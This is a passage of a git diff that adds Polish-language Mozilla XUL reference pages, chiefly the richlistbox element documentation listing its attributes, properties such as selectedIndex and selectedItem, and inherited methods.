+<ul><li> <code>left</code>: Zmiana rozmiaru do lewej strony.
+</li><li> <code>right</code>: Zmiana rozmiaru do prawej strony.
+</li><li> <code>top</code>: Zmiana rozmiaru do góry.
+</li><li> <code>bottom</code>: Zmiana rozmiaru do dołu.
+</li><li> <code>bottomleft</code>: Zmiana rozmiaru do dołu i do lewej.
+</li><li> <code>bottomright</code>: Zmiana rozmiaru do dołu i do prawej.
+</li><li> <code>topleft</code>: Zmiana rozmiaru do góry i do lewej.
+</li><li> <code>topright</code>: Zmiana rozmiaru do góry i prawej.
+</li></ul>
+
+
+</div>
+<table style="border: 1px solid rgb(204, 204, 204); margin: 0 0 10px 10px; padding: 0 10px; background: rgb(238, 238, 238);">
+<tbody>
+<tr>
+<td><p><strong>Dziedziczy z elementu XUL</strong><br> <small>
+<code id="a-align"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/align">align</a></code>,
+<code id="a-allowevents"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/allowevents">allowevents</a></code>,
+<code id="a-allownegativeassertions"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/allownegativeassertions">allownegativeassertions</a></code>,
+<code id="a-class"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/class">class</a></code>,
+<code id="a-coalesceduplicatearcs"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/coalesceduplicatearcs">coalesceduplicatearcs</a></code>,
+<code id="a-collapsed"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/collapsed">collapsed</a></code>,
+<code id="a-container"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/container">container</a></code>,
+<code id="a-containment"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/containment">containment</a></code>,
+<code id="a-context"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/context">context</a></code>,
+<code id="a-contextmenu"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/contextmenu">contextmenu</a></code>,
+<code id="a-datasources"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/datasources">datasources</a></code>,
+<code id="a-dir"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/dir">dir</a></code>,
+<code id="a-empty"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/empty">empty</a></code>,
+<code id="a-equalsize"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/equalsize">equalsize</a></code>,
+<code id="a-flags"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/flags">flags</a></code>,
+<code id="a-flex"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/flex">flex</a></code>,
+<code id="a-height"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/height">height</a></code>,
+<code id="a-hidden"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/hidden">hidden</a></code>,
+<code id="a-id"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/id">id</a></code>,
+<code id="a-insertafter"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/insertafter">insertafter</a></code>,
+<code id="a-insertbefore"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/insertbefore">insertbefore</a></code>,
+<code id="a-left"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/left">left</a></code>,
+<code id="a-maxheight"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/maxheight">maxheight</a></code>,
+<code id="a-maxwidth"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/maxwidth">maxwidth</a></code>,
+<code id="a-menu"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/menu">menu</a></code>,
+<code id="a-minheight"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/minheight">minheight</a></code>,
+<code id="a-minwidth"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/minwidth">minwidth</a></code>,
+<code id="a-mousethrough"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/mousethrough">mousethrough</a></code>,
+<code id="a-observes"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/observes">observes</a></code>,
+<code id="a-ordinal"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/ordinal">ordinal</a></code>,
+<code id="a-orient"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/orient">orient</a></code>,
+<code id="a-pack"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/pack">pack</a></code>,
+<code id="a-persist"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/persist">persist</a></code>,
+<code id="a-popup"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/popup">popup</a></code>,
+<code id="a-position"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/position">position</a></code>,
+<code id="a-preference-editable"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/preference-editable">preference-editable</a></code>,
+<code id="a-querytype"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/querytype">querytype</a></code>,
+<code id="a-ref"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/ref">ref</a></code>,
+<code id="a-removeelement"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/removeelement">removeelement</a></code>,
+<code id="a-sortDirection"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/sortDirection">sortDirection</a></code>,
+<code id="a-sortResource"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/sortResource">sortResource</a></code>,
+<code id="a-sortResource2"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/sortResource2">sortResource2</a></code>,
+<code id="a-statustext"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/statustext">statustext</a></code>,
+<code id="a-style"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/style">style</a></code>,
+<code id="a-template"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/template">template</a></code>,
+<code id="a-tooltip"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/tooltip">tooltip</a></code>,
+<code id="a-tooltiptext"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/tooltiptext">tooltiptext</a></code>,
+<code id="a-top"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/top">top</a></code>,
+<code id="a-uri"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/uri">uri</a></code>,
+<code id="a-wait-cursor"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/wait-cursor">wait-cursor</a></code>,
+<code id="a-width"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/width">width</a></code> </small></p>
+</td>
+</tr>
+</tbody>
+</table>
+<p></p>
+<h3 id="W.C5.82asno.C5.9Bci" name="W.C5.82asno.C5.9Bci"> Własności </h3>
+<p></p><table style="border: 1px solid rgb(204, 204, 204); margin: 0px 0px 10px 10px; padding: 0px 10px; background: rgb(238, 238, 238) none repeat scroll 0% 50%;"> <tbody> <tr> <td> <p><strong>Dziedziczy z elementu XUL</strong><br> <small> <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/align">align</a></span></code>, , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/allowEvents">allowEvents</a></span></code>, , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/boxObject">boxObject</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/builder">builder</a></span></code>, , , , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/className">className</a></span></code>, , , , , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/collapsed">collapsed</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/contextMenu">contextMenu</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/controllers">controllers</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/database">database</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/datasources">datasources</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/dir">dir</a></span></code>, , , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/flex">flex</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/height">height</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/hidden">hidden</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/id">id</a></span></code>, , , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/left">left</a></span></code>, , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/maxHeight">maxHeight</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/maxWidth">maxWidth</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/menu">menu</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/minHeight">minHeight</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/minWidth">minWidth</a></span></code>, , , , , , , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/observes">observes</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/ordinal">ordinal</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/orient">orient</a></span></code>, , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/pack">pack</a></span></code>, , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/persist">persist</a></span></code>, , , , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/ref">ref</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/resource">resource</a></span></code>, , , , , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/statusText">statusText</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/style">style</a></span></code>, ,, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/tooltip">tooltip</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/tooltipText">tooltipText</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/top">top</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/width">width</a></span></code></small></p> </td> </tr> </tbody>
+</table>
+<p></p>
+<h3 id="Metody" name="Metody"> Metody </h3>
+<p></p><table style="border: 1px solid rgb(204, 204, 204); margin: 0px 0px 10px 10px; padding: 0px 10px; background: rgb(238, 238, 238) none repeat scroll 0% 50%;"> <tbody> <tr> <td> <p><strong>Dziedziczy z elementu XUL</strong><br> <small> <span id="m-blur"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/blur">blur</a></code></span>, <span id="m-click"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/click">click</a></code></span>, <span id="m-doCommand"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/doCommand">doCommand</a></code></span>, <span id="m-focus"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/focus">focus</a></code></span>, <span id="m-getElementsByAttribute"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/getElementsByAttribute">getElementsByAttribute</a></code></span></small></p> <p><strong>Dziedziczy z elementu DOM</strong><br> <small> <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.addEventListener">addEventListener()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.appendChild">appendChild()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.dispatchEvent">dispatchEvent()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getAttribute">getAttribute()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getAttributeNode">getAttributeNode()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getAttributeNodeNS">getAttributeNodeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getAttributeNS">getAttributeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getElementsByTagName">getElementsByTagName()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getElementsByTagNameNS">getElementsByTagNameNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.hasAttribute">hasAttribute()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.hasAttributeNS">hasAttributeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.hasAttributes">hasAttributes()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.hasChildNodes">hasChildNodes()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.insertBefore">insertBefore()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.isSupported">isSupported()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.normalize">normalize()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeAttribute">removeAttribute()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeAttributeNode">removeAttributeNode()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeAttributeNS">removeAttributeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeChild">removeChild()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeEventListener">removeEventListener()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.replaceChild">replaceChild()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.setAttribute">setAttribute()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.setAttributeNode">setAttributeNode()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.setAttributeNodeNS">setAttributeNodeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.setAttributeNS">setAttributeNS()</a></code></small></p> </td> </tr> </tbody>
+</table>
+<p></p>
+<h3 id="Podobne" name="Podobne"> Podobne </h3>
+<p>TBD
+</p>
+<div class="noinclude">
+</div>
diff --git a/files/pl/mozilla/tech/xul/richlistbox/index.html b/files/pl/mozilla/tech/xul/richlistbox/index.html
new file mode 100644
index 0000000000..d4207fd6e5
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/richlistbox/index.html
@@ -0,0 +1,250 @@
+---
+title: richlistbox
+slug: Mozilla/Tech/XUL/richlistbox
+tags:
+ - Dokumentacja_XUL
+ - Elementy_XUL
+ - Strony_wymagające_dopracowania
+translation_of: Archive/Mozilla/XUL/richlistbox
+---
+<div class="noinclude"><span class="breadcrumbs XULRef_breadcrumbs">
+ « <a href="/pl/docs/Dokumentacja_XUL">Dokumentacja XUL</a> [
+ <a href="#Przyk.C5.82ady">Przykłady</a> |
+ <a href="#Atrybuty">Atrybuty</a> |
+ <a href="#W.C5.82asno.C5.9Bci">Własności</a> |
+ <a href="#Metody">Metody</a> |
+ <a href="#Podobne">Podobne</a> ]
+</span></div>
+
+<p>Ten element jest stosowany do tworzenia listy pozycji, podobnie do element <code><a href="/pl/docs/Mozilla/Tech/XUL/listbox" title="listbox">listbox</a></code>, lecz jest projektowany do zastosowania wtedy, kiedy pozycje nie zawierają zawartości prostego tekstu. <code>richlistbox</code> obsługuje zaznaczenie pojedynczej pozycji w odpowiednim czasie.</p>
+
+<p></p><div class="blockIndicator note"><strong>Uwaga:</strong> In versions of Firefox prior to Firefox 3, rich list boxes support only single selection. Firefox 3 introduced multiple selection to rich list boxes.</div><p></p>
+
+<dl>
+ <dt>Atrybuty</dt>
+ <dd><a href="#a-seltype">seltype</a>, <a href="#a-suppressonselect">suppressonselect</a></dd>
+</dl>
+
+<dl>
+ <dt>Własności</dt>
+ <dd><a href="#p-accessible">accessible</a>, <a href="#p-children">children</a>, <a href="#p-scrollBoxObject">scrollBoxObject</a>, <a href="#p-selectedIndex">selectedIndex</a>, <a href="#p-selectedItem">selectedItem</a>, <a href="#p-selType">selType</a>, <a href="#p-suppressOnSelect">suppressOnSelect</a></dd>
+</dl>
+
+<dl>
+ <dt>Metody</dt>
+ <dd><a href="#m-clearSelection">clearSelection</a>, <a href="#m-ensureElementIsVisible">ensureElementIsVisible</a>, <a href="#m-ensureSelectedElementIsVisible">ensureSelectedElementIsVisible</a>, <a href="#m-getItemAtIndex">getItemAtIndex</a>, <a href="#m-getRowCount">getRowCount</a>, <a href="#m-goDown">goDown</a>, <a href="#m-goUp">goUp</a></dd>
+</dl>
+
+<h3 id="Przyk.C5.82ady" name="Przyk.C5.82ady">Przykłady</h3>
+
+<p>(potrzebny przykład)</p>
+
+<h3 id="Atrybuty" name="Atrybuty">Atrybuty</h3>
+
+<p></p><div id="a-seltype">
+
+</div> <div id="a-suppressonselect">
+
+</div> <table style="border: 1px solid rgb(204, 204, 204); margin: 0 0 10px 10px; padding: 0 10px; background: rgb(238, 238, 238);">
+<tbody>
+<tr>
+<td><p><strong>Dziedziczy z elementu XUL</strong><br> <small>
+<code id="a-align"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/align">align</a></code>,
+<code id="a-allowevents"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/allowevents">allowevents</a></code>,
+<code id="a-allownegativeassertions"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/allownegativeassertions">allownegativeassertions</a></code>,
+<code id="a-class"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/class">class</a></code>,
+<code id="a-coalesceduplicatearcs"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/coalesceduplicatearcs">coalesceduplicatearcs</a></code>,
+<code id="a-collapsed"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/collapsed">collapsed</a></code>,
+<code id="a-container"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/container">container</a></code>,
+<code id="a-containment"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/containment">containment</a></code>,
+<code id="a-context"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/context">context</a></code>,
+<code id="a-contextmenu"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/contextmenu">contextmenu</a></code>,
+<code id="a-datasources"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/datasources">datasources</a></code>,
+<code id="a-dir"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/dir">dir</a></code>,
+<code id="a-empty"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/empty">empty</a></code>,
+<code id="a-equalsize"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/equalsize">equalsize</a></code>,
+<code id="a-flags"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/flags">flags</a></code>,
+<code id="a-flex"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/flex">flex</a></code>,
+<code id="a-height"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/height">height</a></code>,
+<code id="a-hidden"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/hidden">hidden</a></code>,
+<code id="a-id"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/id">id</a></code>,
+<code id="a-insertafter"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/insertafter">insertafter</a></code>,
+<code id="a-insertbefore"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/insertbefore">insertbefore</a></code>,
+<code id="a-left"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/left">left</a></code>,
+<code id="a-maxheight"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/maxheight">maxheight</a></code>,
+<code id="a-maxwidth"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/maxwidth">maxwidth</a></code>,
+<code id="a-menu"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/menu">menu</a></code>,
+<code id="a-minheight"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/minheight">minheight</a></code>,
+<code id="a-minwidth"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/minwidth">minwidth</a></code>,
+<code id="a-mousethrough"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/mousethrough">mousethrough</a></code>,
+<code id="a-observes"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/observes">observes</a></code>,
+<code id="a-ordinal"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/ordinal">ordinal</a></code>,
+<code id="a-orient"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/orient">orient</a></code>,
+<code id="a-pack"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/pack">pack</a></code>,
+<code id="a-persist"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/persist">persist</a></code>,
+<code id="a-popup"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/popup">popup</a></code>,
+<code id="a-position"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/position">position</a></code>,
+<code id="a-preference-editable"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/preference-editable">preference-editable</a></code>,
+<code id="a-querytype"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/querytype">querytype</a></code>,
+<code id="a-ref"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/ref">ref</a></code>,
+<code id="a-removeelement"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/removeelement">removeelement</a></code>,
+<code id="a-sortDirection"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/sortDirection">sortDirection</a></code>,
+<code id="a-sortResource"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/sortResource">sortResource</a></code>,
+<code id="a-sortResource2"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/sortResource2">sortResource2</a></code>,
+<code id="a-statustext"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/statustext">statustext</a></code>,
+<code id="a-style"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/style">style</a></code>,
+<code id="a-template"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/template">template</a></code>,
+<code id="a-tooltip"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/tooltip">tooltip</a></code>,
+<code id="a-tooltiptext"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/tooltiptext">tooltiptext</a></code>,
+<code id="a-top"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/top">top</a></code>,
+<code id="a-uri"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/uri">uri</a></code>,
+<code id="a-wait-cursor"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/wait-cursor">wait-cursor</a></code>,
+<code id="a-width"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/width">width</a></code> </small></p>
+</td>
+</tr>
+</tbody>
+</table><p></p>
+
+<h3 id="W.C5.82asno.C5.9Bci" name="W.C5.82asno.C5.9Bci">Własności</h3>
+
+<p> </p><div id="p-accessible">
+<dl>
+ <dt>
+ <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/W%C5%82asno%C5%9B%C4%87/accessible">accessible</a></span></code></dt>
+ <dd>
+ Typ:
+ <i>
+ <a href="pl/NsIAccessible">nsIAccessible</a></i>
+ </dd>
+ <dd>
+ Zwraca obiekt dostępności dla elementu.</dd>
+</dl></div> <div id="p-children">
+<dl>
+ <dt>
+ <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/W%C5%82asno%C5%9B%C4%87/children">children</a></span></code></dt>
+ <dd>
+ Typ:
+ <i>
+ tablica elementów</i>
+ </dd>
+ <dd>
+ Zwraca listę pozycji w <code><a href="/pl/docs/Mozilla/Tech/XUL/richlistbox" title="richlistbox">richlistbox</a></code>.</dd>
+</dl></div> <div id="p-scrollBoxObject"></div> <div id="p-selectedIndex">
+<dl>
+ <dt>
+ <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/W%C5%82asno%C5%9B%C4%87/selectedIndex">selectedIndex</a></span></code></dt>
+ <dd>
+ Typ:
+ <i>
+ integer</i>
+ </dd>
+ <dd>
+ Zwraca indeks aktualnie zaznaczonej pozycji. Można zaznaczyć pozycję przypisując jej numer indeksu do własności. Przydzielając <code>-1</code> do tej własności, wszystkie pozycje zostaną odznaczone.</dd>
+</dl></div> <div id="p-selectedItem">
+<dl>
+ <dt>
+ <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/W%C5%82asno%C5%9B%C4%87/selectedItem">selectedItem</a></span></code></dt>
+ <dd>
+ Typ:
+ <i>
+ element</i>
+ </dd>
+ <dd>
+ Podtrzymuje aktualnie zaznaczoną pozycję. Jeśli nie ma zaznaczonych aktualnie pozycji, to jej wartość równa będzie <code>null</code>. Możemy zaznaczyć pozycję poprzez ustawienie tej wartości. Zmiana zdarzenia będzie przesyłana do zaznaczonej pozycji, kiedy zmieniona zostanie jedna z tych własności, własność <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/W%C5%82asno%C5%9B%C4%87/selectedIndex">selectedIndex</a></span></code> lub zmieniona będzie przez użytkownika.</dd>
+</dl></div> <div id="p-selType">
+<dl>
+ <dt>
+ <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/W%C5%82asno%C5%9B%C4%87/selType">selType</a></span></code> &lt;magic name="\"PAGENAME\"/"&gt;&lt;/magic&gt;</dt>
+ <dt>
+  </dt>
+ <dd>
+ Type: <em>string</em></dd>
+ <dd>
+ Typ:
+ <i>
+ string</i>
+ </dd>
+ <dd>
+ Pobiera i ustawia wartość atrybutu <code id="a-seltype"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/seltype">seltype</a></code>.</dd>
+</dl>
+<p> </p>
+<p> </p>
+
+<p></p></div> <div id="p-suppressOnSelect">
+<dl>
+ <dt>
+ <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/W%C5%82asno%C5%9B%C4%87/suppressOnSelect">suppressOnSelect</a></span></code></dt>
+ <dd>
+ Typ:
+ <i>
+ boolean</i>
+ </dd>
+ <dd>
+ Pobiera i ustawia wartość atrybutu <code id="a-suppressonselect"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/suppressonselect">suppressonselect</a></code>.</dd>
+</dl></div><p></p>
+
+<h3 id="Metody" name="Metody">Metody</h3>
+
+<p></p><table style="border: 1px solid rgb(204, 204, 204); margin: 0 0 10px 10px; padding: 0 10px; background: rgb(238, 238, 238); float: right; width: 250px;">
+<tbody>
+<tr>
+<td>
+<p><strong>Dziedziczy z elementu XUL</strong><br>
+<small> <span id="m-blur"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/blur">blur</a></code></span>, <span id="m-click"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/click">click</a></code></span>, <span id="m-doCommand"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/doCommand">doCommand</a></code></span>, <span id="m-focus"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/focus">focus</a></code></span>, <span id="m-getElementsByAttribute"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/getElementsByAttribute">getElementsByAttribute</a></code></span> <span id="m-getElementsByAttributeNS"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/getElementsByAttributeNS">getElementsByAttributeNS</a></code></span></small></p> <p><strong>Dziedziczy z elementu DOM</strong><br>
